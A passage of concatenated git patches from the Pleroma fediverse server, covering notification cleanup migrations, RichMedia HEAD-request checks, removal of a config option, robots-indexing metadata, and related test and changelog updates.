:activity), + select: %{id: type(q.id, :integer)}, + where: is_nil(c.id) + ) + |> Repo.chunk_stream(1_000, :bacthes) + |> Stream.each(fn records -> + notification_ids = Enum.map(records, fn %{id: id} -> id end) + + Repo.delete_all( + from(n in "notifications", + where: n.id in ^notification_ids + ) + ) + end) + |> Stream.run() + end + + def down do + :ok + end +end diff --git a/priv/repo/migrations/20200914105800_add_notification_constraints.exs b/priv/repo/migrations/20200914105800_add_notification_constraints.exs new file mode 100644 index 000000000..a65c35fd0 --- /dev/null +++ b/priv/repo/migrations/20200914105800_add_notification_constraints.exs @@ -0,0 +1,23 @@ +defmodule Pleroma.Repo.Migrations.AddNotificationConstraints do + use Ecto.Migration + + def up do + drop(constraint(:notifications, "notifications_activity_id_fkey")) + + alter table(:notifications) do + modify(:activity_id, references(:activities, type: :uuid, on_delete: :delete_all), + null: false + ) + end + end + + def down do + drop(constraint(:notifications, "notifications_activity_id_fkey")) + + alter table(:notifications) do + modify(:activity_id, references(:activities, type: :uuid, on_delete: :delete_all), + null: true + ) + end + end +end -- cgit v1.2.3 From f66a15c4a51e1c8f614b4c1609b2385a29762931 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Mon, 14 Sep 2020 14:44:25 +0300 Subject: RichMedia parser: do not set a cache TTL for unchanging errors --- lib/pleroma/web/rich_media/parser.ex | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/lib/pleroma/web/rich_media/parser.ex b/lib/pleroma/web/rich_media/parser.ex index 5727fda18..ab8f35922 100644 --- a/lib/pleroma/web/rich_media/parser.ex +++ b/lib/pleroma/web/rich_media/parser.ex @@ -36,6 +36,14 @@ defp get_cached_or_parse(url) do {:ok, _data} = res -> res + {:error, :body_too_large} = e -> + e + + {:error, {:content_type, _}} -> + e + + # The TTL is not set for the errors above, since they are unlikely to change + # with time {:error, _} = e -> ttl = Pleroma.Config.get([:rich_media, :failure_backoff], 60_000) Cachex.expire(:rich_media_cache, url, ttl) -- cgit v1.2.3 From f70335002df9b2b3f47f0ccaed6aaeebfb14435f Mon Sep 17 00:00:00 2001 From: rinpatch Date: Mon, 14 Sep 2020 14:45:58 +0300 Subject: RichMedia: Do a HEAD request to check content type/length This shouldn't be too expensive, since the connections are pooled, but it should save us some bandwidth since we won't fetch non-html files and files that are too large for us to process (especially since you can't cancel a request without closing the connection with HTTP1). --- lib/pleroma/web/rich_media/helpers.ex | 46 ++++++++++++++++++++++++++++++++++- test/support/http_request_mock.ex | 17 +++++++++++++ test/web/rich_media/parser_test.exs | 29 ++++++++++++++++++++++ 3 files changed, 91 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/web/rich_media/helpers.ex b/lib/pleroma/web/rich_media/helpers.ex index bd7f03cbe..d7a19df4a 100644 --- a/lib/pleroma/web/rich_media/helpers.ex +++ b/lib/pleroma/web/rich_media/helpers.ex @@ -87,6 +87,50 @@ def perform(:fetch, %Activity{} = activity) do def rich_media_get(url) do headers = [{"user-agent", Pleroma.Application.user_agent() <> "; Bot"}] - Pleroma.HTTP.get(url, headers, @options) + head_check = + case Pleroma.HTTP.head(url, headers, @options) do + # If the HEAD request didn't reach the server for whatever reason, + # we assume the GET that comes right after won't either + {:error, _} = e -> + e + + {:ok, %Tesla.Env{status: 200, headers: headers}} -> + with :ok <- check_content_type(headers), + :ok <- check_content_length(headers), + do: :ok + + _ -> + :ok + end + + with :ok <- head_check, do: Pleroma.HTTP.get(url, headers, @options) + end + + defp check_content_type(headers) do + case List.keyfind(headers, "content-type", 0) do + {_, content_type} -> + case Plug.Conn.Utils.media_type(content_type) do + {:ok, "text", "html", _} -> :ok + _ -> {:error, {:content_type, content_type}} + end + + _ -> + :ok + end + end + + @max_body @options[:max_body] + defp check_content_length(headers) do + case List.keyfind(headers, "content-length", 0) do + {_, maybe_content_length} -> + case Integer.parse(maybe_content_length) do + {content_length, ""} when content_length <= @max_body -> :ok + {_, ""} -> {:error, :body_too_large} + _ -> :ok + end + + _ -> + :ok + end end end diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex index 344e27f13..cb022333f 100644 --- a/test/support/http_request_mock.ex +++ b/test/support/http_request_mock.ex @@ -1262,4 +1262,21 @@ def post(url, query, body, headers) do inspect(headers) }"} end + + # Most of the rich media mocks are missing HEAD requests, so we just return 404. + @rich_media_mocks [ + "https://example.com/ogp", + "https://example.com/ogp-missing-data", + "https://example.com/twitter-card" + ] + def head(url, _query, _body, _headers) when url in @rich_media_mocks do + {:ok, %Tesla.Env{status: 404, body: ""}} + end + + def head(url, query, body, headers) do + {:error, + "Mock response not implemented for HEAD #{inspect(url)}, #{query}, #{inspect(body)}, #{ + inspect(headers) + }"} + end end diff --git a/test/web/rich_media/parser_test.exs b/test/web/rich_media/parser_test.exs index 21ae35f8b..d65a63121 100644 --- a/test/web/rich_media/parser_test.exs +++ b/test/web/rich_media/parser_test.exs @@ -56,6 +56,27 @@ defmodule Pleroma.Web.RichMedia.ParserTest do %{method: :get, url: "http://example.com/error"} -> {:error, :overload} + + %{ + method: :head, + url: "http://example.com/huge-page" + } -> + %Tesla.Env{ + status: 200, + headers: [{"content-length", "2000001"}, {"content-type", "text/html"}] + } + + %{ + method: :head, + url: "http://example.com/pdf-file" + } -> + %Tesla.Env{ + status: 200, + headers: [{"content-length", "1000000"}, {"content-type", "application/pdf"}] + } + + %{method: :head} -> + %Tesla.Env{status: 404, body: "", headers: []} end) :ok @@ -144,4 +165,12 @@ test "rejects invalid OGP data" do test "returns error if getting page was not successful" do assert {:error, :overload} = Parser.parse("http://example.com/error") end + + test "does a HEAD request to check if the body is too large" do + assert {:error, body_too_large} = Parser.parse("http://example.com/huge-page") + end + + test "does a HEAD request to check if the body is html" do + assert {:error, {:content_type, _}} = Parser.parse("http://example.com/pdf-file") + end end -- cgit v1.2.3 From 738685a6298d7bd883fe81477b2e25ec94822e02 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Mon, 14 Sep 2020 11:56:00 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- test/web/rich_media/parser_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/web/rich_media/parser_test.exs b/test/web/rich_media/parser_test.exs index d65a63121..6d00c2af5 100644 --- a/test/web/rich_media/parser_test.exs +++ b/test/web/rich_media/parser_test.exs @@ -167,7 +167,7 @@ test "returns error if getting page was not successful" do end test "does a HEAD request to check if the body is too large" do - assert {:error, body_too_large} = Parser.parse("http://example.com/huge-page") + assert {:error, :body_too_large} = Parser.parse("http://example.com/huge-page") end test "does a HEAD request to check if the body is html" do -- cgit v1.2.3 From bb407edce4b512aae74c12ea0c1abcc92bc18ddb Mon Sep 17 00:00:00 2001 From: rinpatch Date: Mon, 14 Sep 2020 15:46:00 +0300 Subject: RichMedia: fix a compilation error due to nonexistent variable No idea why this passed Gitlab CI --- lib/pleroma/web/rich_media/parser.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/rich_media/parser.ex b/lib/pleroma/web/rich_media/parser.ex index ab8f35922..33f6f1fa1 100644 --- a/lib/pleroma/web/rich_media/parser.ex +++ b/lib/pleroma/web/rich_media/parser.ex @@ -39,7 +39,7 @@ defp get_cached_or_parse(url) do {:error, :body_too_large} = e -> e - {:error, {:content_type, _}} -> + {:error, {:content_type, _}} = e -> e # The TTL is not set for the errors above, since they are unlikely to change -- cgit v1.2.3 From 0b5e72ecf033ff78c67eb4e5a68277e5d83f5611 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Thu, 10 Sep 2020 15:00:19 +0300 Subject: Remove `:managed_config` option. In practice, it was already removed half a year ago, but the description and cheatsheet entries were still there. The migration intentionally does not use ConfigDB.get_by_params, since this will break migration code as soon as we add a new field is added to ConfigDB. Closes #2086 --- CHANGELOG.md | 2 ++ config/config.exs | 1 - config/description.exs | 6 ----- docs/configuration/cheatsheet.md | 1 - ...0200910113106_remove_managed_config_from_db.exs | 27 ++++++++++++++++++++++ 5 files changed, 29 insertions(+), 8 deletions(-) create mode 100644 priv/repo/migrations/20200910113106_remove_managed_config_from_db.exs diff --git a/CHANGELOG.md b/CHANGELOG.md index 75357f05e..88c489895 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - **Breaking:** `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab` (moved to a simpler implementation). - **Breaking:** `Pleroma.Workers.Cron.ClearOauthTokenWorker` setting from Oban `:crontab` (moved to scheduled jobs). - **Breaking:** `Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker` setting from Oban `:crontab` (moved to scheduled jobs). +- Removed `:managed_config` option. In practice, it was accidentally removed with 2.0.0 release when frontends were +switched to a new configuration mechanism, however it was not officially removed until now. ### Changed - Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). diff --git a/config/config.exs b/config/config.exs index 88c47fd03..c204814d0 100644 --- a/config/config.exs +++ b/config/config.exs @@ -216,7 +216,6 @@ allow_relay: true, public: true, quarantined_instances: [], - managed_config: true, static_dir: "instance/static/", allowed_post_formats: [ "text/plain", diff --git a/config/description.exs b/config/description.exs index 82c7bc6a7..2b30f8148 100644 --- a/config/description.exs +++ b/config/description.exs @@ -764,12 +764,6 @@ "*.quarantined.com" ] }, - %{ - key: :managed_config, - type: :boolean, - description: - "Whenether the config for pleroma-fe is configured in this config or in static/config.json" - }, %{ key: :static_dir, type: :string, diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index 0c5d17ce3..054b8fe43 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -40,7 +40,6 @@ To add configuration to your config file, you can copy it from the base config. * `allow_relay`: Enable Pleroma’s Relay, which makes it possible to follow a whole instance. * `public`: Makes the client API in authenticated mode-only except for user-profiles. Useful for disabling the Local Timeline and The Whole Known Network. Note that there is a dependent setting restricting or allowing unauthenticated access to specific resources, see `restrict_unauthenticated` for more details. * `quarantined_instances`: List of ActivityPub instances where private (DMs, followers-only) activities will not be send. -* `managed_config`: Whenether the config for pleroma-fe is configured in [:frontend_configurations](#frontend_configurations) or in ``static/config.json``. * `allowed_post_formats`: MIME-type list of formats allowed to be posted (transformed into HTML). * `extended_nickname_format`: Set to `true` to use extended local nicknames format (allows underscores/dashes). This will break federation with older software for theses nicknames. diff --git a/priv/repo/migrations/20200910113106_remove_managed_config_from_db.exs b/priv/repo/migrations/20200910113106_remove_managed_config_from_db.exs new file mode 100644 index 000000000..e27a9ae48 --- /dev/null +++ b/priv/repo/migrations/20200910113106_remove_managed_config_from_db.exs @@ -0,0 +1,27 @@ +defmodule Pleroma.Repo.Migrations.RemoveManagedConfigFromDb do + use Ecto.Migration + import Ecto.Query + alias Pleroma.ConfigDB + alias Pleroma.Repo + + def up do + config_entry = + from(c in ConfigDB, + select: [:id, :value], + where: c.group == ^:pleroma and c.key == ^:instance + ) + |> Repo.one() + + if config_entry do + {_, value} = Keyword.pop(config_entry.value, :managed_config) + + config_entry + |> Ecto.Changeset.change(value: value) + |> Repo.update() + end + end + + def down do + :ok + end +end -- cgit v1.2.3 From d31f0393bfaa733cf68058c21294874daa286e0a Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 14 Sep 2020 12:06:08 -0500 Subject: Validate Welcome Chat message works with Simple policy applied to local instance --- test/user_test.exs | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/test/user_test.exs b/test/user_test.exs index 50f72549e..a910226b2 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -440,6 +440,45 @@ test "it sends a welcome chat message if it is set" do assert activity.actor == welcome_user.ap_id end + setup do: + clear_config(:mrf_simple, + media_removal: [], + media_nsfw: [], + federated_timeline_removal: [], + report_removal: [], + reject: [], + followers_only: [], + accept: [], + avatar_removal: [], + banner_removal: [], + reject_deletes: [] + ) + + setup do: + clear_config(:mrf, + policies: [ + Pleroma.Web.ActivityPub.MRF.SimplePolicy + ] + ) + + test "it sends a welcome chat message when Simple policy applied to local instance" do + Pleroma.Config.put([:mrf_simple, :media_nsfw], ["localhost"]) + + welcome_user = insert(:user) + Pleroma.Config.put([:welcome, :chat_message, :enabled], true) + Pleroma.Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) + Pleroma.Config.put([:welcome, :chat_message, :message], "Hello, this is a chat message") + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + activity = Repo.one(Pleroma.Activity) + assert registered_user.ap_id in activity.recipients + assert Object.normalize(activity).data["content"] =~ "chat message" + assert activity.actor == welcome_user.ap_id + end + test "it sends a welcome email message if it is set" do welcome_user = insert(:user) Pleroma.Config.put([:welcome, :email, :enabled], true) -- cgit v1.2.3 From 25d1caf1ddae3730f2554d35d89a0c2692927d99 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 14 Sep 2020 12:07:31 -0500 Subject: Merge duplicate Changed sections --- CHANGELOG.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 75357f05e..e94f2eda2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. - Renamed `:timeout` in `pools` namespace to `:recv_timeout`, old name is deprecated. +- Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). ### Removed @@ -16,9 +17,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - **Breaking:** `Pleroma.Workers.Cron.ClearOauthTokenWorker` setting from Oban `:crontab` (moved to scheduled jobs). - **Breaking:** `Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker` setting from Oban `:crontab` (moved to scheduled jobs). -### Changed -- Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). - ## [2.1.1] - 2020-09-08 ### Security -- cgit v1.2.3 From 118bf6e92bc112b20ba1ce2f7d0bd3bb5db7ebfe Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 14 Sep 2020 12:08:32 -0500 Subject: Fixed Welcome chats with MRF Simple applied locally --- CHANGELOG.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index e94f2eda2..685d59873 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -17,6 +17,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - **Breaking:** `Pleroma.Workers.Cron.ClearOauthTokenWorker` setting from Oban `:crontab` (moved to scheduled jobs). - **Breaking:** `Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker` setting from Oban `:crontab` (moved to scheduled jobs). +### Fixed + +- Welcome Chat messages preventing user registration with MRF Simple Policy applied to the local instance + ## [2.1.1] - 2020-09-08 ### Security -- cgit v1.2.3 From 38b2db297b3207607072347b408dc7eacbac600e Mon Sep 17 00:00:00 2001 From: stwf Date: Mon, 14 Sep 2020 13:18:11 -0400 Subject: search indexing metadata respects discoverable flag --- lib/pleroma/web/metadata/restrict_indexing.ex | 7 +++---- test/web/metadata/metadata_test.exs | 19 +++++++++++++++++-- test/web/metadata/restrict_indexing_test.exs | 8 +++++++- 3 files changed, 27 insertions(+), 7 deletions(-) diff --git a/lib/pleroma/web/metadata/restrict_indexing.ex b/lib/pleroma/web/metadata/restrict_indexing.ex index f15607896..a1dcb6e15 100644 --- a/lib/pleroma/web/metadata/restrict_indexing.ex +++ b/lib/pleroma/web/metadata/restrict_indexing.ex @@ -10,7 +10,9 @@ defmodule Pleroma.Web.Metadata.Providers.RestrictIndexing do """ @impl true - def build_tags(%{user: %{local: false}}) do + def build_tags(%{user: %{local: true, discoverable: true}}), do: [] + + def build_tags(_) do [ {:meta, [ @@ -19,7 +21,4 @@ def build_tags(%{user: %{local: false}}) do ], []} ] end - - @impl true - def build_tags(%{user: %{local: true}}), do: [] end diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index 9d3121b7b..fe3009628 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -18,17 +18,32 @@ test "for remote user" do test "for local user" do user = insert(:user) + assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ + "" + end + + test "for local user set to discoverable" do + user = insert(:user, discoverable: true) + refute Pleroma.Web.Metadata.build_tags(%{user: user}) =~ "" end end describe "no metadata for private instances" do - test "for local user" do + test "for local user set to discoverable" do clear_config([:instance, :public], false) - user = insert(:user, bio: "This is my secret fedi account bio") + user = insert(:user, bio: "This is my secret fedi account bio", discoverable: true) assert "" = Pleroma.Web.Metadata.build_tags(%{user: user}) end + + test "search exclusion metadata is included" do + clear_config([:instance, :public], false) + user = insert(:user, bio: "This is my secret fedi account bio") + + assert "" == + Pleroma.Web.Metadata.build_tags(%{user: user}) + end end end diff --git a/test/web/metadata/restrict_indexing_test.exs b/test/web/metadata/restrict_indexing_test.exs index aad0bac42..6b3a65372 100644 --- a/test/web/metadata/restrict_indexing_test.exs +++ b/test/web/metadata/restrict_indexing_test.exs @@ -14,8 +14,14 @@ test "for remote user" do test "for local user" do assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ - user: %Pleroma.User{local: true} + user: %Pleroma.User{local: true, discoverable: true} }) == [] end + + test "for local user when discoverable is false" do + assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ + user: %Pleroma.User{local: true, discoverable: false} + }) == [{:meta, [name: "robots", content: "noindex, noarchive"], []}] + end end end -- cgit v1.2.3 From f900a40d5dc4285977bd92f3792ad04a2f34ddcf Mon Sep 17 00:00:00 2001 From: stwf Date: Mon, 14 Sep 2020 13:55:49 -0400 Subject: fix credo warning --- test/web/metadata/metadata_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index fe3009628..054844597 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -42,7 +42,7 @@ test "search exclusion metadata is included" do clear_config([:instance, :public], false) user = insert(:user, bio: "This is my secret fedi account bio") - assert "" == + assert ~s() == Pleroma.Web.Metadata.build_tags(%{user: user}) end end -- cgit v1.2.3 From 709723182d69e1bb41a23c8abeb5d7c2c67b8c49 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 14 Sep 2020 17:06:42 -0500 Subject: Ensure SimplePolicy's tags in string representation don't trip up the object validator --- lib/pleroma/web/activity_pub/transmogrifier.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex index af4384213..8fe430644 100644 --- a/lib/pleroma/web/activity_pub/transmogrifier.ex +++ b/lib/pleroma/web/activity_pub/transmogrifier.ex @@ -309,7 +309,7 @@ def fix_url(object), do: object def fix_emoji(%{"tag" => tags} = object) when is_list(tags) do emoji = tags - |> Enum.filter(fn data -> data["type"] == "Emoji" and data["icon"] end) + |> Enum.filter(fn data -> is_map(data) and data["type"] == "Emoji" and data["icon"] end) |> Enum.reduce(%{}, fn data, mapping -> name = String.trim(data["name"], ":") -- cgit v1.2.3 From 0b66e806e32055b625560eb06b9300cc856f9789 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 14 Sep 2020 17:11:08 -0500 Subject: Move changelog entry to next patch --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 685d59873..ac4a6f7f6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -17,6 +17,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - **Breaking:** `Pleroma.Workers.Cron.ClearOauthTokenWorker` setting from Oban `:crontab` (moved to scheduled jobs). - **Breaking:** `Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker` setting from Oban `:crontab` (moved to scheduled jobs). +## unreleased-patch - ??? + ### Fixed - Welcome Chat messages preventing user registration with MRF Simple Policy applied to the local instance -- cgit v1.2.3 From 3ab59a6f3c7b7bae2e69d1a8d1bf484d039a5420 Mon Sep 17 00:00:00 2001 From: eugenijm Date: Tue, 15 Sep 2020 13:00:07 +0300 Subject: Mastodon API: fix the public timeline returning an error when the `reply_visibility` parameter is set to `self` for an unauthenticated user --- CHANGELOG.md | 1 + lib/pleroma/web/activity_pub/activity_pub.ex | 4 ++-- test/web/activity_pub/activity_pub_test.exs | 8 ++++++++ 3 files changed, 11 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 82f64d441..f7a372e11 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,7 @@ switched to a new configuration mechanism, however it was not officially removed ### Fixed - Welcome Chat messages preventing user registration with MRF Simple Policy applied to the local instance +- Mastodon API: the public timeline returning an error when the `reply_visibility` parameter is set to `self` for an unauthenticated user ## [2.1.1] - 2020-09-08 diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index 66a9f78a3..5aac3f53b 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -767,7 +767,7 @@ defp restrict_replies(query, %{exclude_replies: true}) do end defp restrict_replies(query, %{ - reply_filtering_user: user, + reply_filtering_user: %User{} = user, reply_visibility: "self" }) do from( @@ -783,7 +783,7 @@ defp restrict_replies(query, %{ end defp restrict_replies(query, %{ - reply_filtering_user: user, + reply_filtering_user: %User{} = user, reply_visibility: "following" }) do from( diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index d8caa0b00..7bdad3810 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -1810,6 +1810,14 @@ test "public timeline with default reply_visibility `self`", %{users: %{u1: user |> Enum.map(& &1.id) assert activities_ids == [] + + activities_ids = + %{} + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, nil) + |> ActivityPub.fetch_public_activities() + + assert activities_ids == [] end test "home timeline", %{users: %{u1: user}} do -- cgit v1.2.3 From f879d07fa1a046b5aa33de8e445b1ca803fa1d04 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Tue, 15 Sep 2020 15:32:49 +0300 Subject: fixed tests --- test/marker_test.exs | 4 ++-- test/repo_test.exs | 4 +++- test/web/mastodon_api/controllers/account_controller_test.exs | 5 ++++- test/web/mastodon_api/controllers/marker_controller_test.exs | 2 +- test/web/mastodon_api/views/account_view_test.exs | 2 +- 5 files changed, 11 insertions(+), 6 deletions(-) diff --git a/test/marker_test.exs b/test/marker_test.exs index 5b6d0b4a4..7b3943c7b 100644 --- a/test/marker_test.exs +++ b/test/marker_test.exs @@ -33,8 +33,8 @@ test "return empty multi" do test "returns user markers" do user = insert(:user) marker = insert(:marker, user: user) - insert(:notification, user: user) - insert(:notification, user: user) + insert(:notification, user: user, activity: insert(:note_activity)) + insert(:notification, user: user, activity: insert(:note_activity)) insert(:marker, timeline: "home", user: user) assert Marker.get_markers( diff --git a/test/repo_test.exs b/test/repo_test.exs index 92e827c95..72c0b5071 100644 --- a/test/repo_test.exs +++ b/test/repo_test.exs @@ -37,7 +37,9 @@ test "get one-to-one assoc from repo" do test "get one-to-many assoc from repo" do user = insert(:user) - notification = refresh_record(insert(:notification, user: user)) + + notification = + refresh_record(insert(:notification, user: user, activity: insert(:note_activity))) assert Repo.get_assoc(user, :notifications) == {:ok, [notification]} end diff --git a/test/web/mastodon_api/controllers/account_controller_test.exs b/test/web/mastodon_api/controllers/account_controller_test.exs index 17a1e7d66..f7f1369e4 100644 --- a/test/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/web/mastodon_api/controllers/account_controller_test.exs @@ -1442,7 +1442,10 @@ test "returns lists to which the account belongs" do describe "verify_credentials" do test "verify_credentials" do %{user: user, conn: conn} = oauth_access(["read:accounts"]) - [notification | _] = insert_list(7, :notification, user: user) + + [notification | _] = + insert_list(7, :notification, user: user, activity: insert(:note_activity)) + Pleroma.Notification.set_read_up_to(user, notification.id) conn = get(conn, "/api/v1/accounts/verify_credentials") diff --git a/test/web/mastodon_api/controllers/marker_controller_test.exs b/test/web/mastodon_api/controllers/marker_controller_test.exs index 6dd40fb4a..9f0481120 100644 --- a/test/web/mastodon_api/controllers/marker_controller_test.exs +++ b/test/web/mastodon_api/controllers/marker_controller_test.exs @@ -11,7 +11,7 @@ defmodule Pleroma.Web.MastodonAPI.MarkerControllerTest do test "gets markers with correct scopes", %{conn: conn} do user = insert(:user) token = insert(:oauth_token, user: user, scopes: ["read:statuses"]) - insert_list(7, :notification, user: user) + insert_list(7, :notification, user: user, activity: insert(:note_activity)) {:ok, %{"notifications" => marker}} = Pleroma.Marker.upsert( diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 9f22f9dcf..c5f491d6b 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -448,7 +448,7 @@ test "shows unread_conversation_count only to the account owner" do test "shows unread_count only to the account owner" do user = insert(:user) - insert_list(7, :notification, user: user) + insert_list(7, :notification, user: user, activity: insert(:note_activity)) other_user = insert(:user) user = User.get_cached_by_ap_id(user.ap_id) -- cgit v1.2.3 From c74fad9e06cdb272a1378082908448f7f0b592ac Mon Sep 17 00:00:00 2001 From: Maksim Date: Wed, 16 Sep 2020 03:18:50 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- .../migrations/20200914105638_delete_notification_without_activity.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/priv/repo/migrations/20200914105638_delete_notification_without_activity.exs b/priv/repo/migrations/20200914105638_delete_notification_without_activity.exs index f5b339101..9333fc5a1 100644 --- a/priv/repo/migrations/20200914105638_delete_notification_without_activity.exs +++ b/priv/repo/migrations/20200914105638_delete_notification_without_activity.exs @@ -11,7 +11,7 @@ def up do select: %{id: type(q.id, :integer)}, where: is_nil(c.id) ) - |> Repo.chunk_stream(1_000, :bacthes) + |> Repo.chunk_stream(1_000, :batches) |> Stream.each(fn records -> notification_ids = Enum.map(records, fn %{id: id} -> id end) -- cgit v1.2.3 From 599f8bb152ca0669d17baa5f313f00f0791209b6 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Wed, 16 Sep 2020 09:47:18 +0300 Subject: RepoStreamer.chunk_stream -> Repo.chunk_stream --- lib/mix/tasks/pleroma/database.ex | 4 ++-- lib/mix/tasks/pleroma/user.ex | 4 ++-- lib/pleroma/repo.ex | 14 ++++++++++++++ lib/pleroma/repo_streamer.ex | 34 ---------------------------------- lib/pleroma/user.ex | 3 +-- test/repo_test.exs | 28 ++++++++++++++++++++++++++++ 6 files changed, 47 insertions(+), 40 deletions(-) delete mode 100644 lib/pleroma/repo_streamer.ex diff --git a/lib/mix/tasks/pleroma/database.ex b/lib/mix/tasks/pleroma/database.ex index 7f1108dcf..a01c36ece 100644 --- a/lib/mix/tasks/pleroma/database.ex +++ b/lib/mix/tasks/pleroma/database.ex @@ -99,7 +99,7 @@ def run(["fix_likes_collections"]) do where: fragment("(?)->>'likes' is not null", object.data), select: %{id: object.id, likes: fragment("(?)->>'likes'", object.data)} ) - |> Pleroma.RepoStreamer.chunk_stream(100) + |> Pleroma.Repo.chunk_stream(100, :batches) |> Stream.each(fn objects -> ids = objects @@ -145,7 +145,7 @@ def run(["ensure_expiration"]) do |> where(local: true) |> where([a], fragment("(? ->> 'type'::text) = 'Create'", a.data)) |> where([_a, o], fragment("?->>'type' = 'Note'", o.data)) - |> Pleroma.RepoStreamer.chunk_stream(100) + |> Pleroma.Repo.chunk_stream(100, :batches) |> Stream.each(fn activities -> Enum.each(activities, fn activity -> expires_at = diff --git a/lib/mix/tasks/pleroma/user.ex b/lib/mix/tasks/pleroma/user.ex index 01824aa18..b20c49d89 100644 --- a/lib/mix/tasks/pleroma/user.ex +++ b/lib/mix/tasks/pleroma/user.ex @@ -179,7 +179,7 @@ def run(["deactivate_all_from_instance", instance]) do start_pleroma() Pleroma.User.Query.build(%{nickname: "@#{instance}"}) - |> Pleroma.RepoStreamer.chunk_stream(500) + |> Pleroma.Repo.chunk_stream(500, :batches) |> Stream.each(fn users -> users |> Enum.each(fn user -> @@ -370,7 +370,7 @@ def run(["list"]) do start_pleroma() Pleroma.User.Query.build(%{local: true}) - |> Pleroma.RepoStreamer.chunk_stream(500) + |> Pleroma.Repo.chunk_stream(500, :batches) |> Stream.each(fn users -> users |> Enum.each(fn user -> diff --git a/lib/pleroma/repo.ex b/lib/pleroma/repo.ex index a75610879..4524bd5e2 100644 --- a/lib/pleroma/repo.ex +++ b/lib/pleroma/repo.ex @@ -49,6 +49,20 @@ def get_assoc(resource, association) do end end + @doc """ + Returns a lazy enumerable that emits all entries from the data store matching the given query. + + `returns_as` use to group records. use the `batches` option to fetch records in bulk. + + ## Examples + + # fetch records one-by-one + iex> Pleroma.Repo.chunk_stream(Pleroma.Activity.Queries.by_actor(ap_id), 500) + + # fetch records in bulk + iex> Pleroma.Repo.chunk_stream(Pleroma.Activity.Queries.by_actor(ap_id), 500, :batches) + """ + @spec chunk_stream(Ecto.Query.t(), integer(), atom()) :: Enumerable.t() def chunk_stream(query, chunk_size, returns_as \\ 